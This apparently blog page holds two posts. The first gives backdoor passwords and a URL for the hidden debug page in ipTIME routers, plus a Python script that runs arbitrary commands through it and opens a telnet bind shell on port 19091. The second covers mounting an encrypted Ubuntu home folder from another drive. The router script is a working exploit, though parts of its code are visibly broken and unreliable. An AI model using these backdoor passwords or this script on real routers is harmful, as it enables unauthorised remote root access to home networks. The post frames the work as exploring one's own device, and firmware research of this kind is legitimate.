Getting shell access to your IPTIME router

This article in a nutshell

  • How to hack your iptime router and get complete access to its function
  • Works up to firmware v9.27
  • You need administrator password to do anything
  • The default administrator account for iptime is username admin / password admin
  • You can’t hack other people’s router with this as you need the admin account anyway, not to mention it’s illegal in Korea ūüėČ


IPTIME Is a popular router brand in Korea. You can’t ssh to it, you can’t telnet to it. But they have a backdoor where you can get shell access via the web interface…

How to access this

Check your firmware version, if the version is <= 9.12, the password is #notenoughmineral^, if the version is > 9.12 upto 9.27, it’s [email protected]*&. If newer, I don’t know the password yet.

Login to your router, note the second part of the URL, is it cgi-bin or sess-bin?

Go to http://<your router ip>/<second part above/d.cgi?aaksldkfj=<the password>

You should see a screen similar to above. Congrats, you got shell access to your router.

How to automate this

Install python3 and run this script

import requests
import sys

pass_old = '#notenoughmineral^'
pass_new = '[email protected]*&'

## file changed!
userid = ''
userpw = ''

_Passname = 'aaksjdkfj'
_Passkey = ''

_dest = '/sess-bin/d.cgi'
_setdest = '/sess-bin/timepro.cgi'

_startParam = {_Passname : _Passkey }
_commandParam = {'act':'1','fname':'','cmd':''}

_enable = 'tmenu=sysconf&smenu=misc&act=remote_support&commit=&hostname=&autosaving=1&fakedns=0&nologin=0&wbm_popup=0&upnp=1&led_flag=0&ispfake=0&newpath=&remote_support=1&apcplan=1'
_disable = 'tmenu=sysconf&smenu=misc&act=remote_support&commit=&hostname=&autosaving=1&fakedns=0&nologin=0&wbm_popup=0&upnp=1&led_flag=0&ispfake=0&newpath=&remote_support=0&apcplan=1'

### chmod disabled!
_telnet_check = 'ls -al /sbin'
_permission_enable = '/bin/chmod 777 /sbin/iptables'
_permission_enable2 = '/bin/chmod 777 /sbin/utelnetd'
_telnet_enable_1 = '/sbin/iptables -A INPUT -p tcp --dport 19091 -j ACCEPT'
#_telnet_enable_1 = '/sbin/iptables -A INPUT -p tcp -m -tcp --dport 2323 -j ACCEPT'
_get_iptables = '/sbin/iptables --list'
_telnet_enable_2 = '/sbin/utelnetd -p 19091'
_demon_mode = 'cat /default/var/boa_vh.conf'

sess = requests.session()

def get(args):
    return sess.get(url='http://%s%s' % (sys.argv[1], _dest), params=args).text

def startup():
    x = _startParam.copy()
    if get(x).find('Command Name : ') == -1:
        print ("[x] Not vulnerable machine! cannot access debugging page.")
    print ("[o] Debugging page exist!")

def deleteChunk(ref):
    findx = ref.find('<font size=-1>')
    ref = ref[findx:]
    ref = ref.replace('<font size=-1>','')
    ref = ref.replace('\n</font><br>','')
    return ref

def bind_shell():
    x =_commandParam.copy()
    x['cmd'] = _telnet_check
    ref = get(x)
    findx = ref.find('<font size=-1>')
    ref = ref[findx:]
    ref = ref.replace('<font size=-1>','')
    ref = ref.replace('\n</font><br>','')
    if ref.find('utelnetd') == -1:
        print ('[x] OOPS! Could not found telnet demon.')
        print ('[x] no exploitable -.-')
    x['cmd'] = _demon_mode
    ref = deleteChunk(get(x))
    if ref.find('root') == -1:
        print ('[x] OOPS! httpd demon is not running at root.')
        print ('[x] no exploitable -.-')
        print ('[!] Exploitable! we start working...')
        x =_commandParam.copy()
        sys.stdout.write('[!] Setting up iptables... ')
        x['cmd'] = _telnet_enable_1
        ref = get(x)
        x['cmd'] = _get_iptables
        ref = deleteChunk(get(x))
        if ref.find('19091') == -1 :
        print ('')
        print ('[!] Working telnet demon server...')
        x['cmd'] = _telnet_enable_2
        print ('[o] Binding shell command executed. check it yourself. (port:19091)')

def showcmd(cmd):
    x = _commandParam.copy()
    x['cmd'] = cmd
    ref = get(x)
    t = deleteChunk(ref)
    if t == '>' : return()
    print (t)

if __name__ == '__main__':

    print ('[] - Directiry Debugging IPTIME python module - command eXecuter!')
    print ('Support : IPTIME 7.?? - 9.72')
    print ('Copyright :\n')
    print ('firmware_version : (~ 9.12 = 0) / (9.14 ~ 9.72 = 1)')
    print ('Type "exit" to exit, "bind-shell" to bind telnet connection to port 2323. (deprecated)')

    if len(sys.argv) < 3:
        print ('\n>>> python3 hostname firmware_version [userid] [userpw]\n')
        print('firmware_version : (~ 9.12 = 0) / (9.14 ~ 9.72 = 1)')

    sys.argv[1] = sys.argv[1].replace('http://','')
    sys.argv[1] = sys.argv[1].replace('/','')

    if int(sys.argv[2]) is 0:
        _Passkey = pass_old
        _Passkey = pass_new

        userid = sys.argv[3]
        userpw = sys.argv[4]
        sess.auth = (userid, userpw)

    _commandParam['aaksjdkfj'] = _Passkey

    while True:
        sys.__stdout__.write (sys.argv[1] + '> ')
        x = input()
        if x == 'exit': exit(0)
        elif x == 'bind-shell': bind_shell()
        elif x != '' : showcmd(x)

How did people find this


  1. Download the firmware from IP Time’s website
  2. Extract the firmware with binwalk
  3. Extract the squashfs file inside the bundle
  4. Disassemble timepro.cgi (d.cgi is a link to timepro.cgi)
  5. Find “remote support” function
  6. The password should be nearby

How I tried it for more modern IPTIME routers

I did everything swimmingly up until step 4, I can’t find “remote support” on newer firmware (10.02) for the router A1004V I’m working on ūüôĀ

Instead of IDA for Windows, I used ghidra, a disassembly framework by the NSA (thanks, NSA!). It’s free and very feature complete ūüôā


Very nice UI eh? When I have time I’ll dig into it more, it’s probably still there somewhere

Recover encrypted home folder under Ubuntu / Kubuntu

The community documentation can be of great help, namely the following section

  1. If you use encrypted filenames (standard in Ubuntu >= 9.04) you have to do the following first:
    • ¬†sudo¬†ecryptfs-add-passphrase¬†--fnek¬†
    • ¬†Passphrase:¬† (Enter the mount passphrase you recorded when you setup the mount–this passphrase is different from your login passphrase.)
    • You should now get two lines looking like this:
    • ¬†Inserted¬†auth¬†tok¬†with¬†sig¬†[9986ad986f986af7]¬†into¬†the¬†user¬†session¬†keyring¬†
    • ¬†Inserted¬†auth¬†tok¬†with¬†sig¬†[76a9f69af69a86fa]¬†into¬†the¬†user¬†session¬†keyring¬† (write down the second value in the square brackets)
  2. Mount using sudo:
    • ¬†sudo¬†mkdir¬†-p¬†/home/username/Private¬†¬†
    • ¬†sudo¬†mount¬†-t¬†ecryptfs¬†/home/username/.Private¬†/home/username/Private¬†
    • ¬†Selection:¬†3¬† (use a passphrase key type)
    • ¬†Passphrase:¬† (Enter the mount passphrase you recorded when you setup the mount–this passphrase is different from your login passphrase.)
    • ¬†Selection:¬†aes¬† (use the aes cipher)
    • ¬†Selection:¬†16¬† (use a 16 byte key)
    • ¬†Enable¬†plaintext¬†passthrough:¬†n¬†
    • ¬†Enable¬†filename¬†encryption:¬†y¬† (This and the following options only apply if you are using filename encryption)
    • ¬†Filename¬†Encryption¬†Key¬†(FNEK)¬†Signature:¬† (the value you wrote down from the second line above)

Problem is, like some folks at the Ubuntu forums, I encounted the following error when trying sudo mount -t encryptfs /source /destination:

Attempting to mount with the following options:
Error mounting eCryptfs: [-2] No such file or directory
Check your system logs; visit

After fiddling around for a whole day, I finally figured out the problem: the blind confidence in Linux developers’ ability. You see, I used to believe Linux’s symlink always point to the same directory on the drive event after it was mounted somewhere else. So say if a link from your old drive, say ~/etc points to /etc, when you mount the root filesystem on another machine, it should now point to /media/mount/etc right? Wrong!

Problem is, the hidden .Private in the encrypted folder is only one such symlink, and when you attempted to mount it in another system, the symlink is broken. If you do a ls -l, you can see the symlink points to /home/.ecryptfs/<yourusername>/.Private relative to your old directory structure, so to successfully mount your encrypted folder, you shouldn’t mount /home/<yourusername>/.Private like mentioned in the tutorial, but instead

sudo mount -t ecryptfs /media/[old drive mount point]/home/.ecryptfs/[your old username]/.Private /home/[your new username]/[new mount point]

Problem solved!